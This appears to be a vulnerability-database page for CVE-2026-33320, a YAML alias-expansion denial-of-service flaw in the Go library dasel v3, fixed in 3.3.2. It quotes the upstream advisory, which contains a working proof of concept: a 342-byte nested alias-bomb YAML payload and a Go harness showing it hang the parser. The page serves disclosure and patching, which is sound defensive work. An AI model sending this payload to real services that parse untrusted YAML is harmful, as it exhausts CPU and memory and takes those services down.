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Back to active CVEs
Medium · CVSS 6.2CVE-2026-33320GHSA-4FCP-JXH7-23X8

Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of serviceCVE-2026-33320

Answer in brief

CVE-2026-33320 records a Medium severity (CVSS 6.2) vulnerability in Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service. The current sources do not mark it as known exploited. The current feed maps github.com/tomwright/dasel/v3 (go). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Mar 19, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium · CVSS 6.2
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 6.2. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps github.com/tomwright/dasel/v3 (go). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
github.com/tomwright/dasel/v3go>=3.0.0 <3.3.23.3.2

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for github.com/tomwright/dasel/v3.
  2. 2Review the reported fix. Update github.com/tomwright/dasel/v3 to 3.3.2 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Mar 19, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

### Summary `dasel`'s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit. The issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth. ### Details In `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is: - The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format("yaml").NewReader()` - `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler - `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree - When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count The root cause is that go-yaml v4 has two decoding paths: 1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`"yaml: document contains excessive aliasing"`). 2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level. Dasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget: ```go case yaml.AliasNode: newVal := &yamlValue{} if err := newVal.UnmarshalYAML(value.Alias); err != nil { return err } yv.value = newVal.value yv.value.SetMetadataValue("yaml-alias", value.Value) ``` With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input. Test environment: - MacBook Air (Apple M2), macOS / Darwin `arm64` - Go `1.26.1` - dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) - go.yaml.in/yaml/v4 `v4.0.0-rc.3` ### PoC ```go package main import ( "fmt" "runtime" "time" "github.com/tomwright/dasel/v3/parsing" _ "github.com/tomwright/dasel/v3/parsing/yaml" "go.yaml.in/yaml/v4" ) func main() { payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ` fmt.Printf("Payload size: %d bytes\n", len(payload)) fmt.Printf("Go version: %s\n", runtime.Version()) fmt.Printf("GOARCH: %s\n", runtime.GOARCH) fmt.Println() // 1. go-yaml v4 Unmarshal correctly rejects this fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===") { var v interface{} start := time.Now() err := yaml.Unmarshal([]byte(payload), &v) elapsed := time.Since(start) if err != nil { fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err) } else { fmt.Printf("VULNERABLE: Completed in %v\n", elapsed) } } fmt.Println() // 2. Dasel's YAML reader is vulnerable fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===") done := make(chan string, 1) go func() { reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions()) if err != nil { done <- fmt.Sprintf("Error creating reader: %v", err) return } start := time.Now() _, err = reader.Read([]byte(payload)) elapsed := time.Since(start) if err != nil { done <- fmt.Sprintf("Error after %v: %v", elapsed, err) } else { done <- fmt.Sprintf("Completed in %v", elapsed) } }() select { case result := <-done: fmt.Println(result) case <-time.After(5 * time.Second): fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress") } } ``` Observed output on `v3.3.1` in the test environment above: ```text Payload size: 342 bytes Go version: go1.26.1 GOARCH: arm64 === Test 1: Direct yaml.Unmarshal (should be rejected) === SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing === Test 2: Dasel YAML reader (VULNERABLE) === CONFIRMED: did not complete within 5s; unbounded alias expansion in progress ``` ### Impact An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated. This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The `parse("yaml", ...)` function in selectors ### Suggested Fix One likely fix is to add an alias expansion counter to `UnmarshalYAML` that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
3 linked sources
Open source record